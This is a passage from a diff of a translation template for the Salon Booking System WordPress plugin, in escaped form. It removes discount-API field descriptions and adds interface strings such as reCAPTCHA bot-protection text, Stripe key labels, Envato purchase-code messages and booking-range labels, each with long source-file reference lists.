build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403\n-msgid \"The usage limit for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:236\n+msgid \"Profile updated successfully.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:392, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:411\n-msgid \"The valid from date for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:162\n+msgid \"Progress:\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:402, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:421\n-msgid \"The valid to date for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:26\n+msgid \"\"\n+\"Protect your booking system from spam and fake bookings using Google \"\n+\"reCAPTCHA v3. This is an invisible verification that works in the background \"\n+\"without interrupting your customers.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:189\n+msgid \"Protects against bot attacks even if they bypass reCAPTCHA\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:104\n+msgid \"Protects all booking entry points: forms, REST API, and AJAX requests\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Ftemplate.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fcontainer.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Ftemplate.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fcontainer.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16\n+msgid \"Proudly powered by\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:431\n-msgid \"The user usage limit for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:71\n+msgid \"Provide the full address of your Salon\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439\n-msgid \"The target services ids for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:10\n+msgid \"Publishable key\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450\n-msgid \"The type (auto or rules) for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:407\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:407\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:424\n+msgid \"Purchase\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:229\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:229\n+msgid \"Purchase Code\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:455\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:455\n+msgid \"Purchase code is required\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:437\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:437\n+msgid \"Purchase Code:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:366\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:403\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:366\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:403\n+msgid \"Purchase Date:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:261\n+msgid \"Quantity booked:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n+msgid \"Quarter\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:440, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:459\n-msgid \"The coupon code for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:178\n+msgid \"quarter of an hour\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:448, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:467\n-msgid \"The discount rules for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:158\n+msgid \"Quick Migration Steps:\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:452, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:471\n-msgid \"The discount rule.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:31\n+msgid \"Range ends\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477\n-msgid \"The mode of rule.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:15\n+msgid \"Range starts\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468, 